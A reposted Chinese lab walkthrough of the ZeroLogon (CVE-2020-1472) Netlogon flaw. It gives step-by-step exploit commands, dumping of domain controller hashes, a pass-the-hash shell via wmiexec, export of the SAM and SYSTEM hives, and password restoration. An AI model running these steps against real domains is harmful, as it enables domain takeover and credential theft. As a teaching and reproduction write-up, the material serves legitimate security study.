【漏洞復現系列】CVE-2020-1472-微軟NetLogon權限提升-手把手教學-簡單域環境搭建與Exp執行


一、漏洞簡介

NetLogon 遠程協議是一種在 Windows 域控上使用的 RPC 接口,被用於各種與用戶和機器認證相關的任務。最常用於讓用戶使用 NTLM 協議登錄服務器,也用於 NTP 響應認證以及更新計算機域密碼。

微軟MSRC於8月11日 發布了Netlogon 特權提升漏洞安全通告。此漏洞CVE編號CVE-2020-1472, CVSS 評分:10.0。由 Secura 公司的 Tom Tervoort 發現提交並命名為 ZeroLogon。

攻擊者使用 Netlogon 遠程協議 (MS-NRPC) 建立與域控制器連接的 Netlogon 安全通道時,存在特權提升漏洞。當成功利用此漏洞時,攻擊者可無需通過身份驗證,在網絡中的設備上運行經特殊設計的應用程序,獲取域控制器的管理員權限。

二、影響范圍

  • Windows Server, version 2004 (Server Core installation)
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2012 (Server Core installation)
  • Windows Server 2012 R2
  • Windows Server 2012 R2 (Server Core installation)
  • Windows Server 2016
  • Windows Server 2016 (Server Core installation)
  • Windows Server 2019
  • Windows Server 2019 (Server Core installation)
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)

三、簡單域環境搭建與執行Exp所需環境

  1. 域環境組成

    1. Windows Server 2016作為域控服務器,IP為192.168.153.137
    2. Windows 10模擬普通域用戶,IP為192.168.153.138
  2. 搭建過程

    1. 安裝Win Server 2016域控

參考百度教程即可:https://jingyan.baidu.com/article/86f4a73ec2518b37d7526940.html

  1. Win10機器加入域

右擊-屬性-高級系統設置-計算機名-更改-隸屬於域-填入域名確定就ok了

img

P.S. 本人在搭建域環境過程發現,按網上教程,Win10機器提示已成功加入域,但是實際並沒有成功加入,現象如下:登陸界面顯示的登錄名並未按”域名****\用戶名“的格式,如testdomain\test001,而是僅有一個本地的用戶名,如test001。這應該是**本地用戶名,即未成功加入域。本人采用的臨時解決方法是在域控上新建一個域用戶,然后在Win10機器上使用該賬戶登錄。暫時不知道什么原因。請知道的大佬指導下。

  1. 說明:上述教程涉及的IP、域名等可自行決定。

  2. Win10機器配置Exp執行環境

    1. 安裝Python 3。不再贅述。
    2. 安裝impacket包:pip install impacket。如果設置機器不能上外網,可離線安裝python包。
    3. 下載PoC與Exp:
      1. PoC:https://github.com/SecuraBV/CVE-2020-1472
      2. Exp:https://github.com/dirkjanm/CVE-2020-1472
      3. 恢復域控密碼工具:https://github.com/risksense/zerologon

四、執行Exp

  1. 執行Exp前

    1. PoC:驗證域控是否存在此漏洞

用法:python zerologon_tester.py 域控主機名 域控IP

python zerologon_tester.py WIN-JQ3IUSNP2K3 92.168.153.137

img

  1. 嘗試導出域控hash:無法獲取域控密碼相關信息

用法:secretsdump.py 域名/域控機器名@域控IP -just-dc -no-pass

secretsdump.py pabtest.com.cn/WIN-JQ3IUSNP2K3@192.168.153.137 -just-dc -no-pass

img

  1. 執行Exp

用法:python CVE-2020-1472.py 域控nbios名 域控主機名$ 域控IP

python CVE-2020-1472.py WIN-JQ3IUSNP2K3 WIN-JQ3IUSNP2K3$ 192.168.153.137

img

  1. 導出域控上的hash

用法:python secretsdump.py server08.com/AD-Server$@192.168.2.208 -just-dc -no-pass

secretsdump.py pabtest.com.cn/WIN-JQ3IUSNP2K3@192.168.153.137 -just-dc -no-pass

img

去cmd5驗證一下

img

  1. 登錄域控機器

一般教程到上面這個步驟就結束了,下面我們來使用抓取到的密碼登錄域控機器,獲得域控的Shell。

用法:wmiexec.py -hashes LMHASH:NTHASH 域名/用戶名@域控IP

Wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 pabtest.com.cn/administrator@192.168.153.137

img

  1. 嘗試恢復域控的密碼

    1. 導出sam等文件到本地,命令如下:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save

img

這三個文件會下載到Win10機器執行命令的目錄上

  1. 然后嘗試獲取域控機器本地保存的置空前的hash。命令如下:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

img

  1. 還原域控機器原始密碼hash。命令如下:

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

python reinstall_original_pw.py WIN-JQ3IUSNP2K3 192.168.153.137 7776eae2803c40a2e47efebfe3ba91b2

img

  1. 查看****WIN-2008-DC$賬號的hash,已成功還原

img

復現過程結束。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM